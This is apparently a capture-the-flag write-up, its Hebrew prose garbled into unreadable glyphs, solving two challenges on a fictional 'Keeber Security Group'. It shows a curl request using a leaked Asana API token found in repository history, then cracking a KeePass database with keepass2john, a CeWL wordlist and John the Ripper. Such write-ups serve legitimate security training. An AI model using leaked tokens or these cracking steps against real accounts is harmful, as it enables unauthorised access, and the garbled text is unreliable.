˭ˣˣˠˬ˟ ˟˥˶ ˪˷ ˧˪ˣ˵ˣ˦ˣ˶˲ ˸˷˶Φ 

˭ˣ˶˸˲Υ 

˶ˣ˞˧˸ˬ ˶ˠ˸˞ˢ ˣˮ˞ ˫˧ˮ˧˟ˬ ˣˮ˧˪˰˷ ˞ˣ˴ˬ˪ ˡˣ˯ ˣˢ˷˪˩ ˶˷˞ ˱˥ˡˮ ˸ˣ˰˦˟ ˸˩˶˰ˬ˪ ˪ˣˢ˧ˮ ˡˣ˵ˢ ˪˷ ˢ˶˟˥ˢ 

π˟Git Φ˶˸˞ ˢ˶˟˥ˢ ˪˧˩ˢ ˶ˣ˷˧˵ ˡˣˬ˰˪ sπGitHub ˪˷ Keeber Security Group ˪˰ˣ ˧ˡ˧ ˢ˶˧˵˯ ˪˷ 

˸˧˧˶ˣ˦˯˧ˢ ˫˧˦˧ˬˣ˵ˢ ˪˷ sπrepository ˞˶˵ˮ˷ security-evaluation-workflow ˪˩ˣˮ ˸ˣˢˤ˪ ˸˰ˡˣˢ ˦˧ˬˣ˵ 

ˢˡˣ˷˥ ˸ˮ˧˧˴ˬˢ ˸˵˧˥ˬ ˡˣ˯ ˢˬ repositoryΥ 

 

˪˰ ˧ˡ˧ ˢ˴˧˥˪ ˪˰ ˦˧ˬˣ˵ˢ ˶˟ˣˡˬˢ ˥˟ˣ˸ˮ˧ ˪ˡ˟ˢˢ ˣˮ˧˟ ˭˧˟˪ ˦˧ˬˣ˵ˢ ˫ˡˣ˵ˢ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˸˞ ˡˣ˯ˢ ˣˬ˴˰ 

˳˟ˣ˵˟ ˞˶˵ˮˢ asana_secret.txtΥ 

 

˦˟ˬ˟ ˭ˣ˷˞˶ ˢˤ ˞˪ ˶ˬ˞ ˧˪ ˶˸ˣ˧ ˬˡ˧Σ ˤ˞ ˧˸˦˪˥ˢ ˷˲˥˪ ˪ˠˣˠ˟ ˸˴˵ ˰ˡ˧ˬ ˪˰ Asana ˢˬˣ ˪ˣ˩˧ ˸ˣ˧ˢ˪ 

˷ˣˬ˧˷ˢ ˸ˤˣ˶˥ˬ˟ ˣˮ˞˴ˬ˷Φ  

https://curl.se/docs/manpage.html
https://curl.se/docs/manpage.html
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˶˥˞˪ ˦˰ˬ ˫˧˷ˣ˲˧˥ ˡˣ˰˧˸˟ ˪˷ Asana ˧˸˪˵˸ˮ ˸˟˧˸˟ ˦˯˵˦ˢ ˢ˞˟ˢ ˸˶˞˸ˬˢ ˡ˴˧˩ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˟-

curl ˪˰ ˸ˮˬ ˪˞˷˸˪ ˸˞ sπAPI ˪˷ AsanaΥ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˶˦ˬ˶˲ˢ ˭ˣ˶˥˞ˢ ˷˟˸˶ˣ ˢ˴˶ˢˢ ˪˷ ˸ˡˣ˵˲ sπcurl ˶˧˩ˤˬ ˡˣ˞ˬ ˸˞ ˢˮ˟ˬˢ ˪˷ ˡˣ˯ˢ 

ˣˮ˧ˢ˧ˤ˷ Φˣˮ˥ˮ˞ ˫˧ˮ˧˟ˬ ˶˟ˣˡˬ˷ ˢ˞˶ˮ˩ ˟πToken sπAPIΦ 

˪˩ ˶˸ˣˮ˷ ˣˮ˪ ˸ˣ˷˰˪ ˞ˣˢ ˳˧˶ˢ˪ ˸˞ ˸ˡˣ˵˲ sπcurl ˢ˞˟ˢΥ 

curl  https://app.asana. com/api/1.0/users/me - H "Authorization: Bearer 

1/1202152286661684:f136d320deefe730f6c71a91b2e4f7b1 ò 

˶˷˞ ˢ˵˧˲ˬ ˣˮ˪ ˸˞ ˦˪˲ˢ ˞˟ˢΥ 

{"data":{"gid":"1202152286661684","email":"keebersecuritygroup@protonmai

l.com","name":" flag{49305a2a9dcc503cb2b1fdeef8a7ac04} ","photo":null,"res

ource_type":"user","workspaces":[{"gid":"1202152372710256","name":"IT","

resource_type":"workspace"},{"gid":"1146735861536945","name":"My 

Company","resource_type":"workspace"},{"gid":"1202202099837958","name":"

Marketing","resource_type":" workspace"},{"gid":"1202201989074836","name"

:"Informatique","resource_type":"workspace"},{"gid":"1202203933473664","

name":"Engineering","resource_type":"workspace"},{"gid":"120220558547411

2","name":"Design","resource_type":"workspace"},{"gid":"120220642310 1119

","name":"IT","resource_type":"workspace"},{"gid":"1202166412558403","na

me":"richdn.com","resource_type":"workspace"},{"gid":"1202206546743807",

"name":"IT","resource_type":"workspace"}]}}  

˭˟ˣˬ˩˷ ˪˧˩ˬ ˸˞ ˪ˠˡˢ ˧ˣ˴˶ˢ Υ 

flag{49305a2a9dcc503cb2b1fdeef8a7ac04} 
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Keeber 4 

 ˶ˣ˞˧˸ ˶ˠ˸˞ˢΥ 

ά¢ƘŜ ŜȄ-employee also left the company password database exposed to the public through 

GitHub. Since the password is shared throughout the company, it must be easy for employees to 

remember. The password used to encrypt the database is a single lowercase word somehow 

relating to the company. Make a custom word list using the Keeber Security Groups public-facing 

ƛƴŦƻǊƳŀǘƛƻƴΣ ŀƴŘ ǳǎŜ ƛǘ ǘƻ ƻǇŜƴ ǘƘŜ ǇŀǎǎǿƻǊŘ ŘŀǘŀōŀǎŜΦέ 

(Hint: John the Ripper may have support for cracking .kdbx password hashes!) 

 

˧˪˩ˢ x˟ ˷ˬ˸˷ˮΥ 

˧˪˩ˢ John the Ripper ˣˮ˧ˢ ˧˪˩ ˡˣ˵ ˥ˣ˸˲ ˡ˰ˣˮˢ ˰˧˧˯˪ ˥ˣ˴˧˲˟ ˸ˣ˞ˬ˯˧˯ Φ ˪˷ ˟˶ ˶˲˯ˬ˟ ˨ˬˣ˸ ˧˪˩ˢ

ˢˮ˲˴ˢ ˧˪ˣ˵ˣ˦ˣ˶˲ Φ˧˪˩ˢ ˨ˬˣ˸ ˫ˠ ˷ˣˬ˧˷˟ ˸˲˵˸ˬ˟ ˭ˣ˪˧ˬ ˢ˟˷ ˷˧ ˷ˣˬ˧˷ ˸ˬ˧˷˶˟ ˫˧˪˧ˬ ˸ˣ˶ˡˠˣˬˢ 

˷˞˶ˬ ˫ˠˣ ˥ˣ˴˧˲˟ ˸˷˧ˠ˟ ˥ˣ˩ ˧˪˦ˣ˶˟ ˢ˟ ˥ˣ˴˧˲ˢ ˰˴˟˸˧ ˧˲˪ ˶˲˯ˬ ˫˧ˮˣ˧˶˦˧˶˵ ˫˧˰˟˵ˮˢ ˪˰ ˧ˡ˧ 

˷ˬ˸˷ˬˢ ˣˬ˩ ˪˷ˬ˪ ˨˶ˣ˞ ˞ˬ˯˧˯ˢ ˢ˧ˣ˴˶ˢ Σ˭ˣ˧˴ ˪˷ ˫˧ˣˣ˸ ˫˧ˡ˥ˣ˧ˬ ˡˣ˰ˣΦ 

˭ˣ˶˸˲Υ 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˶ˣ˞˧˸ ˶ˠ˸˞ˢ ˵˲˯ˬ ˤˬ˶ ˧˸ˣ˰ˬ˷ˬ ˧˟ˠ˪ ˨˶ˡ ˭ˣ˶˸˲ˢ Φˣˮ˥ˮ˞ ˫˧ˮ˧˟ˬ ˶ˣ˞˧˸ˢˬ ˢ˪˧˥˸˷ 

ˣˮ˧˪˰ ˸ˣ˯ˮ˪ ˶˸˞˪ ˸˞ ˡ˯ˬ ˫˧ˮˣ˸ˮˢ ˸ˡ˟ˣ˰ˢ˷ ˶˟˰˷˪ ˢ˶˧˞˷ˢ ˱ˣ˷˥ ˭˲ˣ˞˟ ˧˟ˬˣ˲Φ ˨˶ˣ˴˪ ˨˩ Σ˶ˣˤ˥ˮ 

ˡˣˬ˰˪ sπGitHub ˪˷ ˢ˶˟˥ˢ Σ˭˥˟ˮ ˸˞ ˧˶ˣ˦˧ˤˣ˲˧˶ˢ manager-password ˶˸˞ˮˣ ˸˞ ˳˟ˣ˵ ˡ˯ˬ ˫˧ˮˣ˸ˮˢ 

˞˟ˢΥ 

 

˪˟˞ ˣˢˬ ˫˴˰˟ ˳˟ˣ˵ ˫ ˸ˬˣ˧˯ ά.kdbxέΚ ˢ˵˧ˡ˟ ˢ˶˧ˢˬ ˪ˠˣˠ˟ ˢ˪˰ˬ ˳˟ˣ˵˷ ˫˰ ˸ˬˣ˧˯ˢ ˣˤˢ ˣˮ˧ˢ ˳˟ˣ˵ ˰ˡ˧ˬ 

˶˴ˣˮˢ ˪˰ ˧ˡ˧ ˫ˣ˷˧˧ˢKeePass Password Safe Φˢ˪˞˷ˢ ˢ˞˟ˢ ˢ˪ˣ˰˷ ˞˧ˢ ˨˧˞ ˣˮ˧˪˰ ˳ˣ˶˲˪ ˳˟ˣ˵ ˠˣ˯ˬ ˢˤΚ  

https://www.openwall.com/john/
https://github.com/keebersecuritygroup/password-manager
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˭ˣˣ˧˩ˬ ˞˪˷ ˧˸˪˵˸ˮ ˦ˬ˶ˣ˲˟ kdbx ˶˟˰˟ Σ˟ˣ˷ ˧˸˧ˮ˲ ˪ˠˣˠ˪ ˪˰ ˸ˮˬ ˸ˣ˯ˮ˪ ˞ˣ˴ˬ˪ ˸ˣ˟ˣ˷˸ Φ˶ˣ˷˧˵ˢ ˭ˣ˷˞˶ˢ 

˸ˣ˞˴ˣ˸˟ ˷ˣ˲˧˥ˢ ˢˮ˲ˢ ˧˸ˣ˞ ˨˧˶ˡˬ˪ ˭˧˧ˣ˴ˬˢ ˞˟ˢ Σ˰˧˴ˬˢ ˶˟˯ˢ ˦˶ˣ˲ˬ ˪˰ ˨˧˪ˢ˸ ˢ˴˧˶˲ ˪˷ ˧˴˟˵ 

`.kdbx` ˸ˣ˞˴ˬ˞˟ ˷ˣˬ˧˷ ˸ˮ˩ˣ˸˟ John the Ripper x˞ ˸ˮ˩ˣ˸˟ HashcatΥ 

 

˨˧˶ˡˬˢˬ Σ˟ˣ˪˧˷˟ ˫˰ ˶ˣ˞˧˸ ˶ˠ˸˞ˢ ˣˮ˞ ˫˧ˮ˧˟ˬ ˣˮ˧˪˰˷ ˰˴˟˪ ˫˴˰˟ ˢ˷ˣ˪˷ ˫˧˶˟ˡΥ 

мΦ ˳˪˥˪ ˸˞ sπhash ˪˷ ˞ˬ˯˧˯ˢ ˳˟ˣ˵ˬ sπkdbxΦ 

нΦ ˶˴˧˧˪ ˸ˬ˧˷˶ ˫˧˪˧ˬ ˸ˬ˞˸ˣˬ ˪˰ ˯˧˯˟ ˰ˡ˧ˬ ˧˶ˣ˟˧˴ ˶ˣ˷˵ˢ ˢ˶˟˥˪ 

оΦ ˷ˬ˸˷ˢ˪ ˸ˮ˩ˣ˸˟ John the Ripper ˪˰ ˸ˮˬ ˥˴˲˪ ˸˞ sπhash ˧"˰ ˷ˣˬ˧˷ ˸ˬ˧˷˶˟ ˫˧˪˧ˬˢ ˱˧˰˯ˬ н 

˪˰ ˸ˮˬ ˳˪˥˪ ˸˞ sπhash ˧˸˷ˬ˸˷ˢ ˢˡˣ˵˲˟ ˢ˞˟ˢΥ 

keepass2john  ksg_passwd_db.kdbx > Keepasshash.txt  

 
 

˟˪˷˟ ˞˟ˢ Σ˪˰ ˸ˮˬ ˸ˣˮ˟˪ ˸˞ ˸ˬ˧˷˶ ˫˧˪˧ˬˢ ˷ˬ˸˷ˮ ˸ˮ˩ˣ˸˟ CeWL ύCustom Word List Generator Σό

˵˲˯ˮ ˢ˪ ˦˪˵˩ ˸˞ ˡˣˬ˰ ˟˞ˢ˦˧ˠˢ ˪˷ ˢ˶˟˥ˢ ˶ˣˬ˷ˮˣ ˸˞ ˢ˞˴ˣ˸ˢ ˳˟ˣ˵˪ ˦˯˵˦ word_list.txtΥ 

cewl  https://github. com/keebersecuritygroup/security - evaluation - workflow 

- w word_list.txt -- lowercase - d 1  

˱ˣ˯˟˪ Σ˷ˬ˸˷ˮ ˟-John the Ripper ˪˰ ˸ˮˬ ˥˴˲˪ ˸˞ sπhash ˣˮ˴˪˧˥˷ ˳˟ˣ˵ˬ ˡ˯ˬ ˫˧ˮˣ˸ˮˢ ˸ˣ˰˴ˬ˞˟ 

˸ˬ˧˷˶ ˫˧˪˧ˬˢ ˣˮ˶˴˧˷Υ 

john  -- wordlist =word_list.txt Keepasshash.txt  

https://www.thedutchhacker.com/how-to-crack-a-keepass-database-file/
https://digi.ninja/projects/cewl.php

















































































